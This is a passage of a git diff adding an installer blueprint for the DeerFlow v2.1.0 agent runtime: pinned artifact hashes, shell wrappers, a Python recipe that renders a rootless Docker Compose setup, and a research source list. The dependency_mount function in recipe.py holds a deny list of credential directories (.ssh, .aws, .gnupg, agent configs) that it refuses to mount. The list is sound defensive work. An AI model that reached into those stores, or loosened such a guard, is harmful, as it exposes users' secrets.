"read_only": true + }, + { + "source": "/ABSOLUTE/PATH/TO/required-pinned-tool-prefix", + "target": "/ABSOLUTE/PATH/TO/required-pinned-tool-prefix", + "read_only": true + } + ], + "model": "cx/gpt-6-astra-max", + "qmd_snapshot": { + "database": "/ABSOLUTE/PATH/TO/native-agent-stack-catalog.sqlite", + "collections": { + "foundation-docs": { + "path": "/ABSOLUTE/PATH/TO/foundation-docs", + "pattern": "**/*.md" + }, + "foundation-adoption": { + "path": "/ABSOLUTE/PATH/TO/foundation-adoption", + "pattern": "**/*.md" + }, + "us-equities-foundation": { + "path": "/ABSOLUTE/PATH/TO/us-equities-foundation", + "pattern": "**/*.md" + }, + "us-equities-catalog": { + "path": "/ABSOLUTE/PATH/TO/us-equities-catalog", + "pattern": "**/*.md" + } + } + } +} diff --git a/blueprints/runtime-workers/deerflow/install.sh b/blueprints/runtime-workers/deerflow/install.sh new file mode 100755 index 000000000..f589e844a --- /dev/null +++ b/blueprints/runtime-workers/deerflow/install.sh @@ -0,0 +1,5 @@ +#!/usr/bin/env bash +# Reference: DeerFlow v2.1.0 scripts/deploy.sh and .github/workflows/container.yaml. +set -euo pipefail +recipe_dir="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)" +exec python3 "$recipe_dir/recipe.py" install "${1:?Usage: install.sh /private/host.json}" diff --git a/blueprints/runtime-workers/deerflow/lifecycle.sh b/blueprints/runtime-workers/deerflow/lifecycle.sh new file mode 100755 index 000000000..821f3d6e8 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/lifecycle.sh @@ -0,0 +1,5 @@ +#!/usr/bin/env bash +# Reference: DeerFlow v2.1.0 scripts/deploy.sh {start,down}, backend/Makefile. +set -euo pipefail +recipe_dir="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)" +exec python3 "$recipe_dir/recipe.py" lifecycle "${1:?Usage: lifecycle.sh up|down|check|upstream-tests}" diff --git a/blueprints/runtime-workers/deerflow/pins.json b/blueprints/runtime-workers/deerflow/pins.json new file mode 100644 index 000000000..31b575252 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/pins.json @@ -0,0 +1,54 @@ +{ + "schema_version": 1, + "repository": "https://github.com/bytedance/deer-flow", + "tag": "v2.1.0", + "tag_object": "f6e747be2486d3f75b0d66a8b17d8fb0ffd5f8ce", + "commit": "345f08be00c8a9495079b732a39b46aa9af1584e", + "archive": { + "url": "https://codeload.github.com/bytedance/deer-flow/tar.gz/345f08be00c8a9495079b732a39b46aa9af1584e", + "sha256": "de309ec407d0b5b9ef1855a2cdcd97d9a9c2c95d0b0029cde6c79b9212518ffe", + "bytes": 26278334 + }, + "lockfiles": { + "backend/uv.lock": "3cc643cd34374384c62de7fd8cef49cc4608df01ea11eff85daeea51f5cf0d5f", + "frontend/pnpm-lock.yaml": "cee8007d2e1b10eb84c853971130cbb8ba5e0893fd0c0a381f840e77b6a2ed5b" + }, + "images": { + "gateway": "ghcr.io/bytedance/deer-flow-backend@sha256:68426f84f06f91a44f61c9620c9badffec162133615d351f1d40db0982a753e6", + "frontend": "ghcr.io/bytedance/deer-flow-frontend@sha256:2f10108592ddb2f93ff5c62f670e010cd4123c4e93eed6bc0ce5fd2bf426f0db", + "redis": "redis@sha256:858f009f9709ce576febc734aa78b8f6d624b82571f9ddb6bda4377c833b3499", + "nginx": "nginx@sha256:df221db836e1754089190208cee7eeda94f233197056426eda74a43ab1abeac2" + }, + "image_provenance": { + "measured_at": "2026-09-27", + "method": "Registry manifest bytes SHA256 matched Docker-Content-Digest; no layer pulls. Backend/frontend image config OCI revision matched commit. Redis/nginx are dated resolutions of upstream Compose tags, not version-tag lockfiles.", + "platform": "linux/amd64", + "attestations_verified": false + }, + "header_reference": { + "package": "langchain-openai", + "version": "1.2.1", + "sdist_sha256": "ee4480b787706361b7125fad46930589a624df87aa158c6986ef1fad10d10675", + "url": "https://files.pythonhosted.org/packages/9a/0e/d8e16c28aa67106d285e63b8ffc04c5af68341e345ce24a0751dbf2e167e/langchain_openai-1.2.1.tar.gz", + "file": "langchain_openai/chat_models/base.py", + "lines": "668-670, 934-935, 1220-1242, 1404-1411, 1462-1469, 1683-1712, 3327-3345" + }, + "grader": { + "repository": "https://github.com/UKGovernmentBEIS/inspect_evals", + "tag": "v0.22.0", + "commit": "41c72eaa2b807ce43f35fac6f3f399318adc7e9d", + "package": "inspect-evals[gaia]==0.22.0", + "runtime_package": "inspect-ai==0.3.271", + "runtime_commit": "c2b63a0b0560f9c3b5b5230365e0a8fe08cd3df0", + "dataset": "gaia-benchmark/GAIA", + "dataset_revision": "682dd723ee1e1697e00360edccf2366dc8418dd9", + "split": "validation", + "verdict": "unchanged inspect_evals.gaia.scorer.gaia_scorer", + "install_source": "https://github.com/UKGovernmentBEIS/inspect_evals/blob/v0.22.0/src/inspect_evals/gaia/README.md", + "lock_file": "e2e/requirements.lock", + "lock_sha256": "388083f96839d48ab92b99ea7a3a8fe01f978e5d73374fd8d4ed4dc00adaa341", + "lock_python": "3.13", + "lock_platform": "x86_64-unknown-linux-gnu", + "lock_source": "astral-sh/uv@0.12.17 docs/pip/compile.md:24-28; installed uv pip compile --help --generate-hashes --no-build" + } +} diff --git a/blueprints/runtime-workers/deerflow/recipe.py b/blueprints/runtime-workers/deerflow/recipe.py new file mode 100644 index 000000000..be30f7261 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/recipe.py @@ -0,0 +1,414 @@ +"""Bounded installer/renderer for the upstream Compose graph and release images. + +References: v2.1.0 docker/docker-compose.yaml, scripts/deploy.sh, +backend/Dockerfile, frontend/Dockerfile; artifact provenance in pins.json. +Only the installer writes the owned prefix/state; nothing is installed by tests. +""" +from __future__ import annotations + +import argparse +from contextlib import closing +import hashlib +import json +import os +import re +import secrets +import shutil +import sqlite3 +import subprocess +import sys +import tarfile +import tempfile +import urllib.request +from pathlib import Path + +HERE = Path(__file__).resolve().parent +REPO = HERE.parents[2] +PREFIX = Path.home() / ".local/share/codex-ecosystem/tools/deerflow-2.1.0" +STATE = Path.home() / ".local/state/native-agent-stack/runtime-workers/deerflow" +OWNER = "com.native-agent-stack.owner=gpt6-omniroute-framework-integration" + + +def read(path): + return json.loads(Path(path).read_text()) + + +def write(path, data): + path = Path(path) + path.parent.mkdir(parents=True, exist_ok=True, mode=0o700) + temporary = path.with_name(path.name + ".tmp") + temporary.write_text(json.dumps(data, indent=2) + "\n") + temporary.chmod(0o600) + temporary.replace(path) + + +def sha(path): + with Path(path).open("rb") as source: + return hashlib.file_digest(source, "sha256").hexdigest() + + +def expand(value, values): + if isinstance(value, str): + return re.sub(r"\$\{([A-Z_]+)\}", lambda m: str(values[m[1]]), value) + if isinstance(value, dict): + return {k: expand(v, values) for k, v in value.items()} + if isinstance(value, list): + return [expand(v, values) for v in value] + return value + + +def mount(source, target, read_only=True): + return {"type": "bind", "source": str(source), "target": str(target), + "read_only": read_only, "bind": {"create_host_path": False}} + + +def dependency_mount(item, settings, prefix): + """Allow only resolved adopted executable/tool roots and declared collections. + + Compose-spec@914ec15d 05-services.md volumes long syntax; never mount a + credential store via an ancestor or a symlink under an otherwise allowed root. + """ + source, target = Path(item["source"]), Path(item["target"]) + real = source.resolve() + home = Path.home().resolve() + eco = Path(settings["variables"]["ECO_ROOT"]).resolve() + allowed = [eco / "bin"] + [eco / "tools" / name for name in ( + "context-mode-1.0.169", "serena-0.1.4", "socraticode-1.15.0", "qmd-2.8.3")] + # Versioned native tool prefixes from the host declaration are allowed only + # beneath tools, and must resolve there (no symlink escape to home stores). + is_tool = (real.is_relative_to(eco / "tools") and len(real.relative_to(eco / "tools").parts) >= 1 + and re.fullmatch(r"[a-zA-Z0-9_.-]+-[0-9][a-zA-Z0-9_.-]*", real.relative_to(eco / "tools").parts[0])) + allowed += [Path(c["path"]).resolve() for c in settings.get("qmd_snapshot", {}).get("collections", {}).values()] + protected = [home / n for n in (".config", ".codex", ".claude", ".ssh", ".aws", ".gnupg", + ".local/share/omniroute", ".local/share/omniroute-fw")] + protected.append(Path(os.environ.get("XDG_CONFIG_HOME", str(home / ".config"))) / "native-agent-stack") + if (not source.is_absolute() or source != target or not item.get("read_only", True) + or home.is_relative_to(real) or real == eco or Path(prefix).resolve().is_relative_to(real) + or any(real.is_relative_to(p.resolve()) or p.resolve().is_relative_to(real) for p in protected) + or real.name.endswith(".sock") or not (real in allowed or is_tool)): + raise ValueError("MCP mounts must resolve to allowed dependency/collection roots, never credentials") + return mount(real, target) + + +def host_settings(path): + path = Path(path).resolve() + if path.stat().st_mode & 0o077: + raise ValueError("private host file must have mode 0600") + settings = read(path) + if "/ABSOLUTE/" in json.dumps(settings) or "LOCAL_QDRANT_PORT" in json.dumps(settings): + raise ValueError("fill the private host file before installing") + for name in ("ECO_ROOT", "HOST_PATH", "QDRANT_URL", "EMBED_URL"): + if not settings["variables"].get(name): + raise ValueError("missing private host variable") + # These are already-local services. Never route embeddings through OmniRoute. + for name in ("QDRANT_URL", "EMBED_URL"): + if not re.fullmatch(r"10\.0\.2\.2:[0-9]{2,5}", settings["variables"][name]): + raise ValueError("container service endpoints must use the measured rootless host address") + if settings["variables"]["EMBED_URL"].endswith(":20128"): + raise ValueError("OmniRoute does not serve embeddings") + return settings + + +def worker_model(settings): + model = settings.get("model") or read(HERE / "defaults.json")["model"] + if not isinstance(model, str) or model not in { + "cx/gpt-6.1-sol", "cx/gpt-6.1-sol-max", "cx/gpt-6-sol-max", + "cx/gpt-6-astra", "cx/gpt-6-astra-max", "sharedgw/gpt-6-astra-max", + }: + raise ValueError("worker/judgment roles require an approved GPT-6 gateway route") + return model + + +def arm_settings(settings, arm=None): + """Round-3 gateway-owner contract; never infer the arm from a model slug. + + DeerFlow@345f08be config/app_config.py:432,565 resolves $VAR model fields. + The control override preserves the requested approved GPT-6 model ID. + """ + arm = arm if arm is not None else os.environ.get("RUNTIME_WORKER_ARM", "control") + if arm not in {"control", "engines-on"}: + raise ValueError("RUNTIME_WORKER_ARM must be control or engines-on") + model = "sharedgw/gpt-6-astra-max" + port = 20129 + if arm == "control": + model = worker_model({"model": os.environ.get("DEERFLOW_CONTROL_MODEL") or settings.get("model")}) + if not model.startswith("cx/"): + raise ValueError("the control arm requires a cx/ GPT-6 route") + port = 20128 + headers = ["Idempotency-Key", "x-omniroute-session"] + if arm == "engines-on": + headers.append("x-omniroute-compression") + return {"arm": arm, "model": model, "base_url": f"http://10.0.2.2:{port}/v1", + "host_base_url": f"http://127.0.0.1:{port}/v1", "reasoning_effort": "max", + "header_names": sorted(headers)} + + +def usage_database(arm): + if arm not in {"control", "engines-on"}: + raise ValueError("invalid arm") + return Path.home() / ".local/share" / ("omniroute" if arm == "control" else "omniroute-fw") / "storage.sqlite" + + +def render(settings, prefix, state): + """Render secrets-free model/MCP config and explicit private bind mounts.""" + prefix, state = Path(prefix), Path(state) + defaults, pins = read(HERE / "defaults.json"), read(HERE / "pins.json") + values = dict(settings["variables"]) + values.update({"IMAGE_" + k.upper(): v for k, v in pins["images"].items()}) + arm = arm_settings(settings) + values.update({"DEERFLOW_MODEL": arm["model"], "DEERFLOW_BASE_URL": arm["base_url"], + "RUNTIME_WORKER_ARM": arm["arm"]}) + config = read(HERE / "config.yaml.template") + ext = expand(read(HERE / "extensions_config.json.template"), values) + ext["mcpServers"]["qmd"]["env"].update({ + "PATH": values["ECO_ROOT"] + "/bin:" + values["HOST_PATH"], + "XDG_CONFIG_HOME": "/state/mcp/qmd/config", + "XDG_CACHE_HOME": "/state/mcp/qmd/cache", + }) + cfg = state / "config" + write(cfg / "config.yaml", config) # JSON is valid YAML. + write(cfg / "extensions_config.json", ext) + proxy = (HERE / "egress.conf.template").read_text().replace("GATEWAY_ORIGIN", arm["base_url"].removesuffix("/v1")) + (cfg / "egress.conf").write_text(proxy) + (cfg / "egress.conf").chmod(0o644) + cfg.chmod(0o755) # Config contains no secrets; nginx's non-root UID can read it. + compose = expand(read(HERE / "compose.json.template"), values) + s = compose["services"] + for service in (s["gateway"], s["egress"]): + service["labels"].update({"com.native-agent-stack." + k: arm[k] for k in ("arm", "model", "base_url")}) + s["gateway"]["environment"]["DEERFLOW_SESSION_NAMESPACE"] = settings["session_namespace"] + s["gateway"]["env_file"] = [str(state / "private.env")] + s["frontend"]["env_file"] = [str(state / "private.env")] + s["gateway"]["volumes"] = [ + mount(prefix / "runtime", "/runtime"), mount(cfg, "/config"), + mount(state / "data", "/state", False), mount(state / "work", "/work", False), + # Supported legacy custom category; the coordinator owns installation. + mount(state / "work/.agents/skills", "/skills/custom"), + mount(state / "work/.agents/skills", "/work/.agents/skills"), + ] + for item in settings["mcp_mounts"]: + s["gateway"]["volumes"].append(dependency_mount(item, settings, prefix)) + s["redis"]["volumes"] = [mount(state / "redis", "/data", False), + mount(prefix / "runtime", "/runtime"), + mount(state / "redis-password", "/run/secrets/redis-password")] + s["gateway"]["volumes"].append(mount(state / "redis-password", "/run/secrets/redis-password")) + s["egress"]["volumes"] = [mount(cfg / "egress.conf", "/config/egress.conf")] + s["frontend"]["volumes"] = [mount(prefix / "runtime", "/runtime")] + s["nginx"]["volumes"] = [mount(prefix / "runtime", "/runtime"), + mount(prefix / "source/docker/nginx/nginx.conf", "/config/nginx.conf")] + write(state / "compose.json", compose) + return compose + + +def docker(settings, *args, **kwargs): + return subprocess.run([settings["docker_bin"], "--context", "rootless", *args], + check=True, **kwargs) + + +def require_rootless(settings): + info = json.loads(docker(settings, "info", "--format", "{{json .SecurityOptions}}", + capture_output=True, text=True).stdout) + if not any("rootless" in option for option in info): + raise ValueError("the selected Docker context must be rootless") + + +def install_skills(workspace): + """Coordinator's project/universal extension is pending its separate PR. + + No direct writes, symlinks, bundled-public fallback or alternative installer. + Source: tools/adoption/install_skills.py and the Round-2 skills contract. + """ + subprocess.run([ + sys.executable, str(REPO / "tools/adoption/install_skills.py"), + "--manifest", str(REPO / "blueprints/runtime-workers/skills/manifest.json"), + "--project-dir", str(workspace), "--agent", "universal", + ], check=True) + + +def install_grader(prefix): + """GAIA v0.22.0 install with uv@0.12.17 generated hashes; no sdist builds.""" + pins = read(HERE / "pins.json")["grader"] + lock = HERE / pins["lock_file"] + if sha(lock) != pins["lock_sha256"]: + raise ValueError("grader lock hash mismatch") + if sys.version_info[:2] != (3, 13): + raise ValueError("grader lock targets CPython 3.13 on Linux x86_64") + environment = Path(prefix) / "grader" + subprocess.run([sys.executable, "-m", "venv", str(environment)], check=True) + subprocess.run([str(environment / "bin/python"), "-m", "pip", "install", + "--require-virtualenv", "--no-cache-dir", "--disable-pip-version-check", + "--require-hashes", "--only-binary=:all:", "--no-deps", "-r", str(lock)], check=True) + subprocess.run([str(environment / "bin/python"), "-m", "pip", "check"], check=True) + subprocess.run([str(environment / "bin/python"), "-c", + "import importlib.metadata as m; assert m.version('inspect-ai') == '0.3.271'; " + "assert m.version('inspect-evals') == '0.22.0'"], check=True) + + +def seed_qmd(settings, state): + """QMD 2.8.3 collections.ts:101-125, store.ts:636-653,1181-1270. + + A consistent native SQLite backup seeds owned writable state. Never open the + shared source writable, copy a live WAL database as a plain file, or index. + """ + allowed = set(read(HERE / "runtime/tool-policy.json")["qmd_collections"]) + spec = settings["qmd_snapshot"] + if set(spec["collections"]) != allowed: + raise ValueError("QMD snapshot must configure exactly the four adopted collections") + collections = {} + for name, value in spec["collections"].items(): + # Preserve only the native collection path/pattern, never update hooks. + if not Path(value["path"]).is_absolute(): + raise ValueError("QMD source collection paths must be absolute") + collections[name] = {"path": value["path"], "pattern": value.get("pattern", "**/*.md")} + root = Path(state) / "qmd-seed" + destination = root / "cache/qmd/native-agent-stack-catalog.sqlite" + destination.parent.mkdir(parents=True, exist_ok=True, mode=0o700) + if not destination.exists(): + temporary = destination.with_suffix(".part") + source_uri = Path(spec["database"]).resolve().as_uri() + "?mode=ro" + with closing(sqlite3.connect(source_uri, uri=True)) as source: + counts = dict(source.execute("SELECT collection, COUNT(*) FROM documents GROUP BY collection")) + if set(counts) != allowed or not all(counts.values()): + raise ValueError("QMD source must contain nonempty documents from exactly the adopted collections") + with closing(sqlite3.connect(temporary)) as output: + source.backup(output) + temporary.chmod(0o600) + temporary.replace(destination) + write(root / "snapshot.json", {"collections": counts, "sha256_at_capture": sha(destination), + "evidence_class": "retained local index snapshot, not new indexing"}) + write(root / "config/qmd/native-agent-stack-catalog.yml", {"collections": collections}) + + +def install_entrypoints(prefix): + """Ship the reviewed wrapper and its configuration beside the native skill adapter.""" + prefix = Path(prefix) + for name in ("recipe.py", "dispatch.py", "deerflow-run", "defaults.json", "pins.json", + "run-e2e.sh", "lifecycle.sh", "compose.json.template", "config.yaml.template", + "extensions_config.json.template", "egress.conf.template"): + shutil.copy2(HERE / name, prefix / name) + for name in ("deerflow-run", "run-e2e.sh", "lifecycle.sh"): + (prefix / name).chmod(0o700) + + +def install(host_file): + os.umask(0o077) + settings = host_settings(host_file) + pins = read(HERE / "pins.json") + require_rootless(settings) + for folder in (PREFIX, STATE, STATE / "downloads", STATE / "config", STATE / "data", + STATE / "work", STATE / "redis", STATE / "runs"): + folder.mkdir(parents=True, exist_ok=True, mode=0o700) + folder.chmod(0o700) + with (STATE / "install.lock").open("w") as lockfile: + import fcntl + fcntl.flock(lockfile, fcntl.LOCK_EX | fcntl.LOCK_NB) + # Fail here if the coordinator's manifest/CLI extension is not merged. + install_skills(STATE / "work") + install_grader(PREFIX) + archive = STATE / "downloads/source.tar.gz" + if not archive.exists(): + temporary = archive.with_suffix(".part") + with urllib.request.urlopen(pins["archive"]["url"], timeout=120) as response, temporary.open("wb") as output: + shutil.copyfileobj(response, output) + if sha(temporary) != pins["archive"]["sha256"]: + raise ValueError("source archive hash mismatch; partial download retained") + temporary.replace(archive) + if sha(archive) != pins["archive"]["sha256"]: + raise ValueError("source archive hash mismatch") + source = PREFIX / "source" + if not source.exists(): + with tempfile.TemporaryDirectory(dir=PREFIX) as staging: + with tarfile.open(archive) as tar: + tar.extractall(staging, filter="data") + (Path(staging) / ("deer-flow-" + pins["commit"])).rename(source) + for name, expected in pins["lockfiles"].items(): + if sha(source / name) != expected: + raise ValueError("upstream lockfile hash mismatch") + seed_qmd(settings, STATE) + if not (STATE / "data/mcp/qmd").exists(): + shutil.copytree(STATE / "qmd-seed", STATE / "data/mcp/qmd") + for subdir in ("runtime", "e2e"): + shutil.copytree(HERE / subdir, PREFIX / subdir, dirs_exist_ok=True, + ignore=shutil.ignore_patterns("__pycache__", "*.pyc")) + shutil.copy2(HERE / "e2e/drive.py", PREFIX / "runtime/drive.py") + install_entrypoints(PREFIX) + for script in (PREFIX / "runtime").glob("*.sh"): + script.chmod(0o755) # Secrets-free runtime code; nginx runs as UID 101. + # Native internal-auth token is generated once, never printed. + # Gateway auth/config.py persists its own JWT secret under DEER_FLOW_HOME. + env = STATE / "private.env" + if not env.exists(): + env.write_text("DEER_FLOW_INTERNAL_AUTH_TOKEN=" + secrets.token_hex(32) + "\n") + env.chmod(0o600) + password = STATE / "redis-password" + if not password.exists(): + password.write_text(secrets.token_hex(32) + "\n") + password.chmod(0o600) + old = read(STATE / "host.json") if (STATE / "host.json").exists() else {} + settings["session_namespace"] = old.get("session_namespace") or secrets.token_hex(16) + write(STATE / "host.json", settings) + render(settings, PREFIX, STATE) + pulled = {} + for service, image in pins["images"].items(): + try: + docker(settings, "image", "inspect", image, capture_output=True) + except subprocess.CalledProcessError: + docker(settings, "pull", "--platform", "linux/amd64", image) + detail = json.loads(docker(settings, "image", "inspect", image, capture_output=True, text=True).stdout)[0] + if not any(x.endswith("@" + image.split("@", 1)[1]) for x in detail.get("RepoDigests", [])): + raise ValueError("pulled image digest mismatch") + if service in {"gateway", "frontend"}: + if detail["Config"].get("Labels", {}).get("org.opencontainers.image.revision") != pins["commit"]: + raise ValueError("release image revision mismatch") + pulled[service] = {"reference": image, "image_id": detail["Id"]} + write(STATE / "images.json", pulled) + docker(settings, "compose", "-f", str(STATE / "compose.json"), "config", "--quiet") + print("Installed pinned artifacts and rendered private configuration; no services started. Run lifecycle.sh check next.") + + +def lifecycle(action): + settings = read(STATE / "host.json") + require_rootless(settings) + common = ["compose", "-f", str(STATE / "compose.json")] + if action == "up": + for status in (STATE / "dispatch").glob("*/status.json"): + if read(status).get("status") in {"starting", "pending", "running"}: + raise ValueError("finish or cancel active dispatches before switching the server arm") + render(settings, PREFIX, STATE) + docker(settings, *common, "up", "-d", "--force-recreate", "--wait", "--wait-timeout", "180", "--no-build", "--pull", "never") + elif action == "down": + # Literal owned names only. Preserve all application bind-mount data. + commands = [("rm", "--force", "rw-deerflow-" + name) + for name in ("nginx", "frontend", "gateway", "redis", "egress")] + commands.append(("network", "rm", "rw-deerflow-network")) + commands.append(("network", "rm", "rw-deerflow-egress-network")) + for command in commands: + try: + docker(settings, *command, capture_output=True, text=True) + except subprocess.CalledProcessError as exc: + if not any(reason in (exc.stderr or "").lower() for reason in ("no such container", "no such network", "network rw-deerflow-network not found")): + raise + elif action == "check": + docker(settings, *common, "run", "--rm", "--no-deps", "--name", "rw-deerflow-preflight", + "--label", OWNER, "-T", "gateway", + "/app/backend/.venv/bin/python", "/runtime/preflight.py") + elif action == "upstream-tests": + docker(settings, *common, "run", "--rm", "--no-deps", "--name", "rw-deerflow-upstream-tests", + "--label", OWNER, "-T", "--workdir", "/app/backend", "gateway", + "uv", "run", "--no-sync", "pytest", "-m", "not live", + "tests/test_model_factory.py", "tests/test_mcp_client_config.py", "tests/test_client.py", "-q") + else: + raise ValueError("supported lifecycle actions: up, down, check, upstream-tests") + + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument("action", choices=["install", "lifecycle"]) + parser.add_argument("argument") + args = parser.parse_args() + try: + install(args.argument) if args.action == "install" else lifecycle(args.argument) + except (OSError, ValueError, subprocess.CalledProcessError) as exc: + # Private paths/configuration/command environments stay out of public output. + print("Recipe stopped: " + type(exc).__name__ + ". Inspect prerequisites in the README.") + raise SystemExit(1) from None diff --git a/blueprints/runtime-workers/deerflow/research.json b/blueprints/runtime-workers/deerflow/research.json new file mode 100644 index 000000000..31a54bb69 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/research.json @@ -0,0 +1,313 @@ +{ + "schema_version": 1, + "date": "2026-09-27", + "scope": "Recipe construction and offline integration checks only; lane:foundation; no host installation, image layer pull, service start, live DB access or model invocation.", + "selection": { + "repository": "https://github.com/bytedance/deer-flow", + "tag": "v2.1.0", + "commit": "345f08be00c8a9495079b732a39b46aa9af1584e", + "reason": "User-selected maintained upstream orchestration runtime; native task delegation, embedded client, production Compose topology, SKILL.md discovery and context controls are present at this revision. No measured superiority or adoption claim is made.", + "artifact_record": "pins.json" + }, + "research_workflow": { + "skills_applied": [ + "search-first", + "find-skills", + "tdd", + "modern-python", + "verification-before-completion" + ], + "research_delegation": "Read-only researcher reviewed primary sources; coordinator independently checked critical source, image metadata and configuration claims. No additional writing worktree or worker was created.", + "discovery": "Installed skill catalog and skills registry used as leads; upstream skills/public/claude-to-deerflow/SKILL.md verified at the selected commit. Existing adopted skills remain the selection; no skill was installed.", + "capability_check_order": [ + "Installed runtime: intentionally not installed or executed under the recipe-only scope; native acceptance remains pending.", + "Release tag and release notes: v2.1.0 resolved through GitHub metadata.", + "Pinned source: verified codeload bytes, lockfiles, configuration classes, supported extension seams and native execution/test commands.", + "Official documentation: pinned README and backend docs, QMD source, SQLite/Python documentation." + ], + "retrieval": "Web content fetched/indexed with Context Mode and queried in its index; large source extraction printed derived answers only. Known-source local reads used the verified archive.", + "retrieval_limitations": [ + "A shell network attempt failed DNS; Context Mode retrieval was available.", + "One release-API retrieval returned 403; researcher used gh API fallback.", + "No native runtime diagnostic was attempted; absence statements are scoped to inspected source." + ] + }, + "sources": { + "release": "https://github.com/bytedance/deer-flow/releases/tag/v2.1.0", + "installation": [ + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/README.md#L283-L299", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/README.md#L377-L424", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/README.md#L500-L528", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/Makefile#L94-L101", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/scripts/deploy.sh", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/docker/docker-compose.yaml#L27-L162", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/.github/workflows/container.yaml#L15-L114", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/Dockerfile#L61-L74", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/frontend/Dockerfile#L10-L40" + ], + "sandbox": [ + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/packages/harness/deerflow/sandbox/local/local_sandbox_provider.py#L36-L70", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/config.example.yaml#L1436-L1472", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/docker/docker-compose.dood.yaml#L1-L26", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/packages/harness/deerflow/community/aio_sandbox/aio_sandbox_provider.py#L253-L284", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/packages/harness/deerflow/community/opensandbox/README.md#L7-L40" + ], + "configuration": [ + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/packages/harness/deerflow/models/factory.py#L208-L345", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/packages/harness/deerflow/config/summarization_config.py#L55-L94", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/packages/harness/deerflow/config/tool_output_config.py#L12-L118", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/packages/harness/deerflow/config/token_budget_config.py#L6-L20", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/packages/harness/deerflow/config/subagents_config.py#L74-L174", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/packages/harness/deerflow/config/subagent_runtime_config.py#L8-L36", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/packages/harness/deerflow/config/skills_config.py#L18-L39", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/packages/harness/deerflow/config/database_config.py#L259-L268", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/packages/harness/deerflow/config/tracing_config.py#L143-L169", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/app/gateway/auth/config.py#L35-L80", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/frontend/src/core/auth/gateway-config.ts#L16-L35" + ], + "mcp_policy": [ + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/packages/harness/deerflow/config/extensions_config.py#L206-L252", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/packages/harness/deerflow/mcp/client.py#L25-L33", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/packages/harness/deerflow/authz/provider.py#L1-L126", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/packages/harness/deerflow/authz/adapter.py#L88-L101", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/packages/harness/deerflow/authz/tool_filter.py" + ], + "local_adoption": [ + "adoption/templates/codex.config.template.toml", + "adoption/templates/codex.stack-worker.config.toml", + "adoption/templates/project.codex.config.template.toml", + "adoption/skills/manifest.json" + ], + "skills": [ + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/skills/public/claude-to-deerflow/SKILL.md#L54-L108", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/packages/harness/deerflow/skills/storage/local_skill_storage.py#L75-L92", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/packages/harness/deerflow/skills/storage/user_scoped_skill_storage.py#L270-L308" + ], + "qmd": [ + "https://github.com/tobi/qmd/blob/v2.8.3/src/collections.ts#L101-L125", + "https://github.com/tobi/qmd/blob/v2.8.3/src/store.ts#L636-L653", + "https://github.com/tobi/qmd/blob/v2.8.3/src/store.ts#L1181-L1270" + ], + "e2e": [ + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/packages/harness/deerflow/client.py#L492-L569", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/packages/harness/deerflow/client.py#L770-L910", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/packages/harness/deerflow/config/paths.py", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/packages/harness/deerflow/subagents/status_contract.py#L67-L89", + 